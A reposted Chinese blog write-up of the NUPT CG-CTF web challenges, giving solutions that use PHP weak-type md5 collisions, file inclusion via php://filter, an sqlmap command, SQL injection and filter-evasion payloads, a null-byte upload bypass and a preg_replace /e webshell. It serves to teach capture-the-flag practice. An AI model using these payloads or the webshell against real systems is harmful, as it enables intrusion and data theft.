主頁 > 企業開發 > 南郵CTF - Writeup

南郵CTF - Writeup

2020-09-11 11:00:01 企業開發

南郵CTF攻防平臺Writeup

By:Mirror王宇陽

個人QQ歡迎交流:2821319009

技術水平有限~大佬勿噴 _

Web題

簽到題:

直接一梭哈……

md5 collision:

題目原始碼提示:

$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
   echo "nctf{*****************}";
} else {
   echo "false!!!";
}}
else{echo "please input a";}

呃……腦中閃過“PHP弱型別”于是乎……當然是Google找一下嘍!

QNKCDZO的md5(32)加密后:0e830400451993494058024219903391

結合 $md51 == $md52 就要0e開頭的md5碰撞!感謝Google!

構造:http://chinalover.sinaapp.com/web19/?a=s878926199a

簽到2:

本能的直接原始碼搜哈……

發現了字符輸入限制10位字符,而給出的指令是11位!得嘞……前端能看見的都能改 maxlength="11"只要限制字符數超過11或等于11位就行!

這題不是Web:

題目都說了!這題不是web!然而面對這頁面……除了圖片還有啥?

既然只有圖片那么我就要再拿出寶貝了!WinHex (十六進制查看器)

多顯然的flag呀_……

層層遞進:

說來慚愧……看了原始碼一臉懵逼……于是我分析題目發現硬核推薦的微博也沒得線索

在仔細一想!算了還是扣原始碼吧于是一個手滑……

沒錯!隨便點了一下,進一個有一個!于是按照 SO.html 一路點下去

以為有驚喜!結果……

這是什么鬼呀……

不過!哪位高手給那摩多注釋,難不成睡覺的時候按到了 Ctrl+C 嗎 ???

然而其中暗藏玄機……

AAencode:

這個題目就得Google了解(這個東西叫做顏編碼

首先,看看這頁面……不太像顏編碼呀?

更像是亂碼……于是!換一個編碼唄!

這樣才對嘛……

下一步就是要借助 Chrom 瀏覽器了(當然了在線的AAencode工具也可以)

單身二十年:

唉……這題目說的就是我呀!踩過前面題目的坑了!俺得好好的留意題目的提示:“手速”,也就是速度快唄……

不在?但是首頁告訴我可以找到呀!為什么呢?

手速……手速……手速……

后來留意了一下!

原來索引的位置不對呀!

看了一下跳轉!原來這個沒有flag頁面是從 http://chinalover.sinaapp.com/web8/search_key.php 頁面跳轉的

Burp抓包看一眼

在上一個頁面有一個自動跳轉……難怪要求手速快呢!難道不是要求“眼速快”嗎?

PHP decode:

題目原始碼:“ 見到的一個類似編碼的shell,請解碼 ”

<?php
function CLsI($ZzvSWE) {
 
    $ZzvSWE = gzinflate(base64_decode($ZzvSWE));
 
    for ($i = 0; $i < strlen($ZzvSWE); $i++) {
 
        $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
 
    }
 
    return $ZzvSWE;
 
}
eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
?>

傻傻的看了原始碼兩三分鐘!然后發現……一執行就有結果了!

檔案包含:

題目直接提示了:LFI

點擊,但又說不???

從原始碼中發現:file包含了show.php檔案,也就表示,file就是檔案包含屬性,

既然提示我們可以利用LFI,那么就……讀一下原始碼php吧!

http://4.chinalover.sinaapp.com/web7/index.php?
file=php://filter/read=convert.base64-encode/resource=index.php

利用php協議php:filter讀取本地任意檔案(file:// 需要詳細的URL路徑才可以哦)

PGh0bWw+CiAgICA8dGl0bGU+YXNkZjwvdGl0bGU+CiAgICAKPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWlmKCEkX0dFVFtmaWxlXSl7ZWNobyAnPGEgaHJlZj0iLi9pbmRleC5waHA/ZmlsZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPC9hPic7fQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsKCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpewoJCWVjaG8gIk9oIG5vISI7CgkJZXhpdCgpOwoJfQoJaW5jbHVkZSgkZmlsZSk7IAovL2ZsYWc6bmN0ZntlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0KCj8+CjwvaHRtbD4=
<html>
    <title>asdf</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href=https://www.cnblogs.com/wangyuyang1016/p/"./index.php?file=show.php">click me? no';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:nctf{edulcni_elif_lacol_si_siht}

?>
</html>

哎呀!一不小心~flag出來了_

單身一百年也沒用:

啥意思?又來套路……Burp啟動

居然沒一點坑……呵呵

COOKIE:

看到題目提示:

0就是的意思!那么1就是的意思嘍

簡單通過……

MySQL:

按照提示:“Do you know robots.txt” 我們看一下robots檔案

通過對原始碼的分析sql.php頁面要求我們提交一個$id引數,使intval($_GET[id])1024,但是$_GET[$id] 1024 為假!也就是說我們需要同時保證兩個條件同時成立且為真,

int intval ( mixed $var [, int $base = 10 ] )

構造:函式轉為int整型

http://chinalover.sinaapp.com/web11/sql.php?id=1024e1

http://chinalover.sinaapp.com/web11/sql.php?id=1024.1

………………

GBK Injection:

哈哈!粗暴的題目!告訴我們GBK注入(寬位元組注入)

直接丟進SQLmap跑一遍

python2 sqlmap.py --url "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%d6" -D sae-chinalover -T ctf4 --dump

嗯!確實全程sqlmap自動化,有點臉皮厚了……

/x00:

題目直接給出原始碼:

    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必須輸入數字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '騷年,繼續努力吧啊~';
    }

從原始碼分析來看:輸入的$nctf值必須符合“[1]+$”正則;且可以在strpos()函式中找到“#biubiubiu”字符!

頭疼……不能輸入字符?Google一下了解函式的缺陷吧!

按照題目給的提示:“/x00” 發現ereg函式存在截斷漏洞:%xx截斷遇到%00則默認字串結束;而strpos函式則越過或是說識別%00截斷后面的字符內容,

構造:http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=111%00%23biubiubiu

bypass again:

提示是“弱型別(參考文章)”;原始碼梭哈一波:

if (isset($_GET['a']) and isset($_GET['b'])) {
    if ($_GET['a'] != $_GET['b'])
    if (md5($_GET['a']) == md5($_GET['b']))
        die('Flag: '.$flag);
    else
        print 'Wrong.';
}

啥玩意?在找一找“0exxx”開頭的hash值;遇到了兩題這樣的!就順便解釋一下為什么0e開頭的會相等于呢??因為“0e”開頭的都會按照科學計數法轉為最后的整型數“0”,

構造:http://chinalover.sinaapp.com/web17/index.php?a=s878926199a&b=s155964671a

變數覆寫:

題目就是指引!Google了解一下……

首先分析php原始碼核心部分……

<?php
    if($_SERVER["REQUEST_METHOD"] == "POST"){
        extract($_POST);
        if ($pass == $thepassword_123){
            echo $theflag;
        }
    }
?>

簡單的決議一下原始碼函式:

extract():從陣列中將變數匯入當前符號表;key>變數名 ; value>變數值,

我們只需要覆寫變數并實作$pass == $thepassword_123就可以得到flag了!

post提交pass=123&thepassword_123=123 就會被后臺認為$pass=123、$thepassword_123=123 實作變數覆寫……

偽裝者:

神秘叨叨的……

burp打開!xff頭改成127.0.0.1

居然不對……按理來說改下X-Forwarded-For就可以了呀!!!

于是我Google了一下偽造客戶端IP的方法,發現除了X-F-F方法以外,還有一種Client-IP

上傳繞過:

題目提示我們猜猜原始碼是如何寫的!

<form action="upload.php" method="post" enctype="multipart/form-data">
	<label for="file">Filename:</label>
	<input type="hidden" name="dir" value=https://www.cnblogs.com/wangyuyang1016/p/"/uploads/" />
	 
	

這HTML頁面時非常簡單的檔案上傳的功能,題目是要求繞過!

按斬訓傳結果,可以確定,我們只有上傳的是可以決議的PHP檔案才可以回傳flag!

而且只允許jpg、gif、png等格式檔案……

觀察一下回傳資料包是如何后端校驗檔案格式的!初步推定:后臺校驗檔案是否為圖片格式以后再判斷是否為php格式檔案!

在后臺會把file上傳的檔案名和原始碼中的dir元素Value進行拼接;轉向dir元素,因為它藏在原始碼里!必然有用!再仔細的觀察了第二個檢驗php檔案報錯回顯:

通過“/uploads”目錄下的檔案進行校驗;回想兩次校驗的不同,第一次校驗圖片格式的時候是讀取上傳檔案的后綴名,第二次校驗是根據目錄來找到檔案進行校驗!

我們首先是繞過第一道圖片格式校驗的檢查,那么就要求我們的檔案必須再上傳的時候是圖片格式,而保存的時候是dir元素的value和filename進行拼接的;如果我們修改了dir元素的value=https://www.cnblogs.com/wangyuyang1016/p/“/uploads/1.php0x00” 也就是說在file經過第一道校驗后與dir元素value拼接:“/uploads/1.php0x00test.jpg” 而這段在后臺被執行的時候被00截斷,保存為:“/uploads/1.php”

SQL注入:

題目給了原始碼分析一波:

<?php
    if($_POST[user] && $_POST[pass]) {
        mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
      mysql_select_db(SAE_MYSQL_DB);
      $user = trim($_POST[user]);  //trim():去除字串兩側的空白字符
      $pass = md5(trim($_POST[pass]));
      $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
        echo '</br>'.$sql;
      $query = mysql_fetch_array(mysql_query($sql));
      if($query[user]=="admin") {
          echo "<p>Logged in! flag:******************** </p>";
      }
      if($query[user] != "admin") {
        echo("<p>You are not admin!</p>");
      }
    }
    echo $query[user];
?>

原始碼告訴我們輸入的字串兩側的空白字符會被刪掉;然后如何拼接字符;在者就是告訴我們admin用戶可以獲得flag,意味著我們要利用admin的身份注入!(手工注入)

經過觀察構造sql:

select user from ctf where (user='admin')#') and (pw='".$pass."')

我們需要的是構造user資料提交給后臺:user=admin')#&pass=12345

pass check:

$pass=@$_POST['pass'];
$pass1=***********;//被隱藏起來的密碼
if(isset($pass)){
	if(@!strcmp($pass,$pass1)){
		echo "flag:nctf{*}";
	}else{
		echo "the pass is wrong!";
	}
}else{
	echo "please input pass!";
}

題目給出了原始碼;分析一波……

strcmp():比較兩個字串,且大小寫敏感; str1第一個字串,str2第二個字串,如果 str1 小于 str2 回傳 < 0; 如果 str1 大于 str2 回傳 > 0;如果兩者相等,回傳 0;結合函式和原始碼:pass==pass1 時回傳flag

Google一下函式缺陷:期待的是傳入“合法字串”,如果傳入的是非法的字串則回傳 return 0

既然指導了函式比較的缺陷,那么我們就傳入一個不合法的字串,比如陣列……

php為了可以上傳一個陣列,會把上傳的變數結尾帶一對中括號當作陣列上傳:key[]=xx

起名字真難:

<?php
function noother_says_correct($number)
{
       $one = ord('1');//ord():回傳ascii值 
       $nine = ord('9');
    // one=49 ; nine=57 ;
       for ($i = 0; $i < strlen($number); $i++)  
       {   
               $digit = ord($number{$i}); //逐個回傳number各個字符的ascii值
               if ( ($digit >= $one) && ($digit <= $nine) )
               { // 判斷number內有沒有1~9的數字字符:有則回傳false
                       return false;  
               }
       }
       return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
   echo $flag;
else 
   echo 'access denied';
?>

綜合分析原始碼:要求輸入的key不可以在1~9之間,但是要求等于54975581388

一開始也是比較煩的但是發現它的數字限制不包括“0”;于是想到了“十六進制

key傳入十六進制數,在數字檢查中可以避開的,因為54975581388=0xccccccccc

密碼重置:

題目要求對admin管理賬戶進行密碼重置,而郵箱收到了重置密碼的郵件html

抓包結果來看,我們需要以admin的身份重置密碼!同時也留意到url中的user1=Y3RmdXNlcg==base解密結果為url1=ctfuser

SQL Injection:*

打開F12發現,原始碼被注釋了!

#GOAL: login as admin,then get the flag; 以管理員身份登錄,然后獲取flag
error_reporting(0);
require 'db.inc.php';

function clean($str){
	if(get_magic_quotes_gpc()){ //獲取當前 magic_quotes_gpc 的配置選項設定
		$str=stripslashes($str);
        // stripslashes():洗掉反斜杠
	}
	return htmlentities($str, ENT_QUOTES);
    //把$str字符轉換為 HTML 物體  ENT_QUOTES:編碼可用雙引號和單引號
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
	die('Invalid password!');
}

echo $flag;

從原始碼分析來開,重要的就是單引號也會被編碼!意味著我們輸入的單引號也會被編碼

構造: http://chinalover.sinaapp.com/web15/index.php?username=\&password=%20or%201%23 `

SELECT * FROM users WHERE name='\' AND pass='%20or%201%23'
即
SELECT * FROM users WHERE 
name='\' AND pass='                 『 [name]的值為 [' AND pass=]  ,顯然邏輯值為false 』
or 1                                『 但沒關系,[false or 1] 的邏輯值為真』 
#'                                  『 注釋掉多余的單引號 』
即
select * from users where false or 1

SQL注入2:

原始碼:

<?php
    if($_POST[user] && $_POST[pass]) {
      mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
      mysql_select_db(SAE_MYSQL_DB);
      $user = $_POST[user];
      $pass = md5($_POST[pass]); 
      $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
         	//mysql_fetch_array():結果集中取得一行作為關聯陣列,或數字陣列
        	//mysql_query():執行Mysql查詢
      if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
          					// strcasecmp():比較str1和str2,且不區分大小寫;
          					// 函式比較有一個缺陷就是:不管是str1>str2或str1==str2都回傳“0”
          					// 也就是當passmd5處理后的值小于query[pw]就可以繞過
          echo "<p>Logged in! Key: ntcf{**************} </p>";
      } else {
        echo("<p>Log in failure!</p>");
      }
    }
?>

題目提示我們使用”union“方法……

我們輸入的user 通過post提交給$user,后臺通過$user回傳pw欄位,在strcasecmp()函式中比較pw和$pass,這是 正常的功能流程,

我們利用的點就是strcasecmp()函式的比較缺陷,這是我一開始的想法,但是想到題目的提示:“union”

于是我想到了利用閉合union的方法;

構造user='union select md5(a)# &pass=auser的value為空,不存在該查詢則執行不成功;就會把union后一個查詢顯示在pw欄位里,即我們查詢的是md5(a),結合sql陳述句的拼接,pw欄位==md5(a),

綜合題1:

是不是看不懂?沒啥看不懂得!這就是JsFuck

解碼后得到:1bc29b36f623ba82aaf6724fd3b16718.php構造訪問后:

Response告訴我們tip欄位提示:history of bash (bash的歷史)

發現了 flagbak.zip,構造URL下載該檔案并打開

綜合題2:*

查看到最后一個sm.txt(本CMS說明)頁面的時候發現了新大陸!

在這里它列出了:config.php index.php passencode.php say.php sm.txt 和admin表結構

同時我們分析URL時候,發現這個頁面存在檔案包含哦~~~

知道了那么多原始碼的檔案名,我們試一試~~~

  • index.php原始碼檔案:

    沒有利用之處,不占篇幅了……
    
  • passencode.php

    <?php function passencode($content){ //$pass=urlencode($content); $array=str_split($content); $pass=""; for($i=0;$i<count($array);$i++){ if($pass!=""){ $pass=$pass." ".(string)ord($array[$i]); }else{ $pass=(string)ord($array[$i]); } } return $pass; } ?>
    

    處理用戶輸入的密碼并進行ASCII加密處理

  • say.php

    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <?php include 'config.php'; $nice=$_POST['nice']; $say=$_POST['usersay']; if(!isset($_COOKIE['username'])){ setcookie('username',$nice); setcookie('userpass',''); } $username=$_COOKIE['username']; $userpass=$_COOKIE['userpass']; if($nice=="" || $say==""){ echo "<script>alert('昵稱或留言內容不能為空!(如果有內容也彈出此框,不是網站問題喔~ 好吧,給個提示:查看頁面原始碼有驚喜!)');</script>"; exit(); } $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能連接到資料庫!!".mysql_error()); mysql_select_db($db_name,$con); $nice=mysql_real_escape_string($nice); $username=mysql_real_escape_string($username); $userpass=mysql_real_escape_string($userpass); $result=mysql_query("SELECT username FROM admin where username='$nice'",$con); $login=mysql_query("SELECT * FROM admin where username='$username' AND userpass='$userpass'",$con); if(mysql_num_rows($result)>0 && mysql_num_rows($login)<=0){ echo "<script>alert('昵稱已被使用,請更換!');</script>"; mysql_free_result($login); mysql_free_result($result); mysql_close($con); exit(); } mysql_free_result($login); mysql_free_result($result); $say=mysql_real_escape_string($say); mysql_query("insert into message (nice,say,display) values('$nice','$say',0)",$con); mysql_close($con); echo '<script>alert("構建和諧社會,留言需要經過管理員審核才可以顯示!");window.location = "./index.php"</script>'; ?>
    

    處理用戶留言板的留言系統

  • config.php 不給讀 ……

  • so.php

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>搜索留言</title> </head> <body> <center> <div id="say" name="say" align="left" style="width:1024px"> <?php if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){ echo '萬惡滴黑闊,本功能只有用本公司開發的瀏覽器才可以用喔~'; exit(); } $id=$_POST['soid']; include 'config.php'; include 'antiinject.php'; include 'antixss.php'; $id=antiinject($id); $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能連接到資料庫!!".mysql_error()); mysql_select_db($db_name,$con); $id=mysql_real_escape_string($id); $result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id"); $rs=mysql_fetch_array($result); echo htmlspecialchars($rs['nice']).':<br />&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br />'; mysql_free_result($result); mysql_free_result($file); mysql_close($con); ?> </div> </center> </body> </html>
    

    哦對了!這個頁面在之前就有問題,就是限制了瀏覽器訪問!

    if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser")”喏~

查完了sm.txt給的php檔案,卻忘記了about.php這個頁面;點擊sm.txt的那個鏈接后來到了/about.php?file=sm.txt 一直在包含其它檔案,卻忘了about.php

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
    <?php 
    	$file=$_GET['file']; 
	if($file=="" || strstr($file,'config.php')){ 
  	  	echo "file引數不能為空!"; 
  	  	exit(); 
	}else{ 
   		$cut=strchr($file,"loginxlcteam"); 
        if($cut==false){ 
            $data=https://www.cnblogs.com/wangyuyang1016/p/file_get_contents($file); 
            $date=htmlspecialchars($data); 
            echo $date; 
        }else{ 
            echo "<script>alert('敏感目錄,禁止查看!但是,,,')</script>"; 
        } 
    }

看到了一絲曙光:有一個敏感目錄loginxlcteam

打開一看,是個后臺登錄頁面!是不是都瞬間有一種sql注入的沖動!但是我的直覺告訴我~~不可信

果然,看了一下前輩的思路,他們在so.php中發現了“include 'config.php'; include 'antiinject.php'; include 'antixss.php'”等檔案被包含,其中antiinject.php檔案就是防止sql注入的

知道了有防注入的檔案,就回到一開始發現的檔案包含的位置查看該原始碼:

<?php 
    function antiinject($content){ 
    	$keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","="); 
    	$info=strtolower($content); 
    	for($i=0;$i<=count($keyword);$i++){ 
            $info=str_replace($keyword[$i], '',$info); 
        } 
    	return $info; 
	} 
?>

從原始碼中發現:過濾了"select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","="等關鍵字

應對的繞過方法

應對關鍵字過濾,防御方式是把關鍵敏感單詞變為空;可以采用復寫的方式,即“ununionion”當過濾的時候,就會把中間的關鍵單詞變為空;

應對過濾空格;采用/**/方式繞過;(當然了,也可以采用圓括號的方式)

明白了繞過的方法,就需要來sql注入了!注入點在哪?前輩給的方向是so.php

<?php 
    if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){ 
        echo '萬惡滴黑闊,本功能只有用本公司開發的瀏覽器才可以用喔~'; exit(); 
    } 
	$id=$_POST['soid']; 
	include 'config.php'; 
    include 'antiinject.php'; 
    include 'antixss.php'; 
    $id=antiinject($id); // 過濾關鍵字和空格
    $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能連接到資料庫!!".mysql_error()); 
    mysql_select_db($db_name,$con); 
    $id=mysql_real_escape_string($id); //轉義 SQL 陳述句中使用的字串中的特殊字符
    $result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id"); 
    $rs=mysql_fetch_array($result); 
    echo htmlspecialchars($rs['nice']).':<br />&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br />'; 
    mysql_free_result($result); mysql_free_result($file); 
    mysql_close($con); 
?>

哦!對了,有一點要說一下哈~~~這個頁面處理的是用戶的留言資料,id內容實際上是留言板的ID,利用union select *,…

  • 確定欄位:

    2 union select 1,2,3,4

  • 注入構造:

    • 表結構:

      create table admin (
          id integer,
          username text,
          userpass text,
      )
      

    知道了表結構,就不用猜庫、猜表了

    直接查資料……

    soid=1/**/aandnd/**/0/**/uunionnion/**/sselectelect/**/1,(sselectelect/**/group_concat(userppassass)/**/ffromrom/**/aadmindmin),3,4
    

    pass(ascii加密): 102 117 99 107 114 117 110 116 117 => fuckruntu

    soid=1/**/aandnd/**/0/**/uunionnion/**/sselectelect/**/1,(sselectelect/**/group_concat(usernnameame)/**/ffromrom/**/aadmindmin),3,4
    

    name:admin

  • http://cms.nuptzj.cn/loginxlcteam/index.php后臺中登錄

  • 打開xlcteam.php檔案(利用之前發現的檔案包含)

    <?php 
        $e = $_REQUEST['www']; // preg_replace
    	$arr = array($_POST['wtf'] => '|.*|e',); 
    	array_walk($arr, $e, ''); 
    ?>
    

    一開始看不懂這個馬!后來查了一下代碼得知: 三引數回呼函式

    array_walk(array,function,parameter):

    ? array:陣列

    ? function:用戶自定義的函式名稱(preg_replace:正則函式)

    ? parameter:可選

菜刀一連!找到flag檔案就可以了……

這是CG-CTF做的最充裕、識訓最大的一題

密碼重置2:

TIPS:
1.管理員郵箱觀察一下就可以找到
2.linux下一般使用vi編輯器,并且例外退出會留下備份檔案
3.弱型別bypass

我們從原始碼中觀察到了管理員郵箱:[email protected]

Vi編輯器 + 留下備份檔案:vi的備份檔案格式是:.[filename].swp

構造訪問:http://nctf.nuptzj.cn/web14/.submit.php.swp

下載檔案:wget http://nctf.nuptzj.cn/web14/.submit.php.swp

........這一行是省略的代碼........

/*
如果登錄郵箱地址不是管理員則 die()
資料庫結構

--
-- 表的結構 `user`
--

CREATE TABLE IF NOT EXISTS `user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(255) NOT NULL,
  `email` varchar(255) NOT NULL,
  `token` int(255) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

--
-- 轉存表中的資料 `user`
--

INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可見***', '***不可見***', 0);
*/


........這一行是省略的代碼........

if(!empty($token)&&!empty($emailAddress)){
	if(strlen($token)!=10) die('fail');
	if($token!='0') die('fail');
    	// 要求token為十位且為零 否則退出腳本并輸出fail
	$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
	$r = mysql_query($sql) or die('db error');
	$r = mysql_fetch_assoc($r);
	$r = $r['num'];
	if($r>0){ //只有當sql查詢的count(*)也就是num大于或等于零的時候才會輸出flag
		echo $flag;
	}else{
		echo "失敗了呀";
	}
}

綜上!我們知道了獲得flag的方法:

? 輸入的用戶名為:[email protected]

? 輸入的token:十位數且為“0”(符合提示的第三條)

? 要求十位數且結果為零的花,又想到了科學技術法 token=0e12345678

file_get_contents:

頁面原始碼:

<!--$file = $_GET['file'];
if(@file_get_contents($file) == "meizijiu"){
    //file_get_contents():將整個檔案讀入一個字串中
    echo $nctf;
}-->

從原始碼提示來看:要求我們包含的檔案中的內容是“meizijiu”,并用file_get_contents()函式讀取

這里需要參考的技術就是php協議:php://input:功能就是將data資料寫入并可執行; 訪問請求的原始資料的只讀流,

變數覆寫2:

原始碼:

foreach($_GET as $key => $value){  
    // foreach():回圈陳述句 常用于遍歷陣列
    // GET方式傳入陣列
        $$key = $value; //可變變數,一個可變變數獲取了普通變數的值,作為這個可變變數的值
    /* $$x:解釋 ~ ~ ~
    	 $x = "abc";  
         $$x = 200;  
    	 echo $x."<br/>";  // abc
    	 echo $$x."<br/>";  // 200
    	 echo $abc;			// 200
    	 
    	 》 $abc <= $$x <= $x == abc  //也就是$$x 把 $x 的值變成了一個變數
    */
}  
if($name == "meizijiu233"){
    echo $flag;
}

GET傳入陣列['name'=>'meizijiu233']

構造:http://chinalover.sinaapp.com/web24/?name=meizijiu233


By:Mirror王宇陽 2019年12月6日

留:周末刷了南京郵電大學CTF平臺的Web題,以上是個人總結的思路Writeup

注:平臺又小部分題目,筆者這里無法打開,所以就沒有做……

最后附上平臺網址:https://cgctf.nuptsast.com/challenges#Web

感謝CG-CTF平臺給的環境哦&_&


  1. 1-9 ??

轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/5375.html

標籤:訊息安全

上一篇:滲透測驗初學者的靶場實戰 1--墨者學院SQL注入—布爾盲注

下一篇:墨者 - X-FORWARDED-FOR注入漏洞實戰

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • IEEE1588PTP在數字化變電站時鐘同步方面的應用

    IEEE1588ptp在數字化變電站時鐘同步方面的應用 京準電子科技官微——ahjzsz 一、電力系統時間同步基本概況 隨著對IEC 61850標準研究的不斷深入,國內外學者提出基于IEC61850通信標準體系建設數字化變電站的發展思路。數字化變電站與常規變電站的顯著區別在于程序層傳統的電流/電壓互 ......

    uj5u.com 2020-09-10 03:51:52 more
  • HTTP request smuggling CL.TE

    CL.TE 簡介 前端通過Content-Length處理請求,通過反向代理或者負載均衡將請求轉發到后端,后端Transfer-Encoding優先級較高,以TE處理請求造成安全問題。 檢測 發送如下資料包 POST / HTTP/1.1 Host: ac391f7e1e9af821806e890 ......

    uj5u.com 2020-09-10 03:52:11 more
  • 網路滲透資料大全單——漏洞庫篇

    網路滲透資料大全單——漏洞庫篇漏洞庫 NVD ——美國國家漏洞庫 →http://nvd.nist.gov/。 CERT ——美國國家應急回應中心 →https://www.us-cert.gov/ OSVDB ——開源漏洞庫 →http://osvdb.org Bugtraq ——賽門鐵克 →ht ......

    uj5u.com 2020-09-10 03:52:15 more
  • 京準講述NTP時鐘服務器應用及原理

    京準講述NTP時鐘服務器應用及原理京準講述NTP時鐘服務器應用及原理 安徽京準電子科技官微——ahjzsz 北斗授時原理 授時是指接識訓通過某種方式獲得本地時間與北斗標準時間的鐘差,然后調整本地時鐘使時差控制在一定的精度范圍內。 衛星導航系統通常由三部分組成:導航授時衛星、地面檢測校正維護系統和用戶 ......

    uj5u.com 2020-09-10 03:52:25 more
  • 利用北斗衛星系統設計NTP網路時間服務器

    利用北斗衛星系統設計NTP網路時間服務器 利用北斗衛星系統設計NTP網路時間服務器 安徽京準電子科技官微——ahjzsz 概述 NTP網路時間服務器是一款支持NTP和SNTP網路時間同步協議,高精度、大容量、高品質的高科技時鐘產品。 NTP網路時間服務器設備采用冗余架構設計,高精度時鐘直接來源于北斗 ......

    uj5u.com 2020-09-10 03:52:35 more
  • 詳細解讀電力系統各種對時方式

    詳細解讀電力系統各種對時方式 詳細解讀電力系統各種對時方式 安徽京準電子科技官微——ahjzsz,更多資料請添加VX 衛星同步時鐘是我京準公司開發研制的應用衛星授時時技術的標準時間顯示和發送的裝置,該裝置以M國全球定位系統(GLOBAL POSITIONING SYSTEM,縮寫為GPS)或者我國北 ......

    uj5u.com 2020-09-10 03:52:45 more
  • 如何保證外包團隊接入企業內網安全

    不管企業規模的大小,只要企業想省錢,那么企業的某些服務就一定會采用外包的形式,然而看似美好又經濟的策略,其實也有不好的一面。下面我通過安全的角度來聊聊使用外包團的安全隱患問題。 先看看什么服務會使用外包的,最常見的就是話務/客服這種需要大量重復性、無技術性的服務,或者是一些銷售外包、特殊的職能外包等 ......

    uj5u.com 2020-09-10 03:52:57 more
  • PHP漏洞之【整型數字型SQL注入】

    0x01 什么是SQL注入 SQL是一種注入攻擊,通過前端帶入后端資料庫進行惡意的SQL陳述句查詢。 0x02 SQL整型注入原理 SQL注入一般發生在動態網站URL地址里,當然也會發生在其它地發,如登錄框等等也會存在注入,只要是和資料庫打交道的地方都有可能存在。 如這里http://192.168. ......

    uj5u.com 2020-09-10 03:55:40 more
  • [GXYCTF2019]禁止套娃

    git泄露獲取原始碼 使用GET傳參,引數為exp 經過三層過濾執行 第一層過濾偽協議,第二層過濾帶引數的函式,第三層過濾一些函式 preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'] (?R)參考當前正則運算式,相當于匹配函式里的引數 因此傳遞 ......

    uj5u.com 2020-09-10 03:56:07 more
  • 等保2.0實施流程

    流程 結論 ......

    uj5u.com 2020-09-10 03:56:16 more
最新发布
  • 使用Django Rest framework搭建Blog

